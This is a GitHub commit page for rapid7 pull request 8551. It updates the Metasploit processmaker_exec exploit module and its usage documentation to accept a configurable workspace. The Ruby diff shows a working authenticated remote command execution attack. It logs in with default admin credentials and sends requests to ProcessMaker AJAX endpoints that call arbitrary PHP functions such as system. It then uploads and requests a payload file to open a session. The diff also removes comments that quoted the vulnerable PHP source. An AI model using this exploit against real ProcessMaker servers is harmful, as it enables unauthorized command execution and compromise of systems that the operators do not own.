Skip to content

Commit 9d57197

Browse files
committed
Land rapid7#8551, Update processmaker_exec module with workspace support
2 parents cab64fc + 0766f92 commit 9d57197

File tree

2 files changed

+29
-30
lines changed

2 files changed

+29
-30
lines changed

documentation/modules/exploit/multi/http/processmaker_exec.md

Lines changed: 19 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -60,9 +60,25 @@
6060
2. Do: `use exploit/multi/http/processmaker_exec`
6161
3. Do: `set username [USER]`
6262
4. Do: `set password [PASS]`
63-
5. Do: `set rhost [IP]`
64-
6. Do: `run`
65-
7. You should get a session
63+
5. Do: `set workspace [WORKSPACE]`
64+
6. Do: `set rhost [IP]`
65+
7. Do: `run`
66+
8. You should get a session
67+
68+
69+
## Options
70+
71+
**Username**
72+
73+
The username for a ProcessMaker user (default: `admin`).
74+
75+
**Password**
76+
77+
The password for the ProcessMaker user (default: `admin`).
78+
79+
**Workspace**
80+
81+
The ProcessMaker workspace for which the specified user has access (default: `workflow`).
6682

6783

6884
## Sample Output

modules/exploits/multi/http/processmaker_exec.rb

Lines changed: 10 additions & 27 deletions
Original file line numberDiff line numberDiff line change
@@ -49,7 +49,8 @@ def initialize(info={})
4949
register_options(
5050
[
5151
OptString.new('USERNAME', [true, 'The username for ProcessMaker', 'admin']),
52-
OptString.new('PASSWORD', [true, 'The password for ProcessMaker', 'admin'])
52+
OptString.new('PASSWORD', [true, 'The password for ProcessMaker', 'admin']),
53+
OptString.new('WORKSPACE', [true, 'The ProcessMaker workspace', 'workflow'])
5354
])
5455
end
5556

@@ -59,9 +60,9 @@ def initialize(info={})
5960
def execute_command(cmd, opts = { :php_function => 'system' } )
6061
# random vulnerable path # confirmed in versions 2.0.23 to 2.5.1
6162
vuln_url = [
62-
'/sysworkflow/en/neoclassic/appFolder/appFolderAjax.php',
63-
'/sysworkflow/en/neoclassic/cases/casesStartPage_Ajax.php',
64-
'/sysworkflow/en/neoclassic/cases/cases_SchedulerGetPlugins.php'
63+
"/sys#{@workspace}/en/neoclassic/appFolder/appFolderAjax.php",
64+
"/sys#{@workspace}/en/neoclassic/cases/casesStartPage_Ajax.php",
65+
"/sys#{@workspace}/en/neoclassic/cases/cases_SchedulerGetPlugins.php"
6566
].sample
6667

6768
# shuffle POST parameters
@@ -96,7 +97,7 @@ def login(user, pass)
9697
begin
9798
res = send_request_cgi({
9899
'method' => 'POST',
99-
'uri' => normalize_uri(target_uri.path, "/sysworkflow/en/neoclassic/login/authentication.php"),
100+
'uri' => normalize_uri(target_uri.path, "/sys#{@workspace}/en/neoclassic/login/authentication.php"),
100101
'cookie' => @cookie,
101102
'vars_post' => vars_post
102103
})
@@ -117,6 +118,8 @@ def login(user, pass)
117118
# Check credentials are valid and confirm command execution
118119
#
119120
def check
121+
@workspace = datastore['WORKSPACE']
122+
120123
# login
121124
@cookie = "PHPSESSID=#{rand_text_alphanumeric(rand(10)+10)};"
122125
unless login(datastore['USERNAME'], datastore['PASSWORD'])
@@ -169,6 +172,8 @@ def upload
169172
end
170173

171174
def exploit
175+
@workspace = datastore['WORKSPACE']
176+
172177
# login
173178
@cookie = "PHPSESSID=#{rand_text_alphanumeric(rand(10)+10)};"
174179
unless login(datastore['USERNAME'], datastore['PASSWORD'])
@@ -184,25 +189,3 @@ def exploit
184189
send_request_cgi({'uri' => normalize_uri(target_uri.path, "#{@fname}")})
185190
end
186191
end
187-
188-
#
189-
# Source
190-
#
191-
=begin appFolder/appFolderAjax.php
192-
22:if (($_REQUEST['action']) != 'rename') {
193-
23: $functionName = $_REQUEST ['action'];
194-
24: $functionParams = isset ($_REQUEST ['params']) ? $_REQUEST ['params'] : array ();
195-
26: $functionName ($functionParams);
196-
=end
197-
198-
=begin cases/casesStartPage_Ajax.php
199-
16:$functionName = $_REQUEST['action'];
200-
18:$functionParams = isset( $_REQUEST['params'] ) ? $_REQUEST['params'] : array ();
201-
19:$functionName( $functionParams );
202-
=end
203-
204-
=begin cases/cases_SchedulerGetPlugins.php
205-
16:$functionName = $_REQUEST['action'];
206-
18:$functionParams = isset( $_REQUEST['params'] ) ? $_REQUEST['params'] : array ();
207-
19:$functionName( $functionParams );
208-
=end

0 commit comments

Comments
 (0)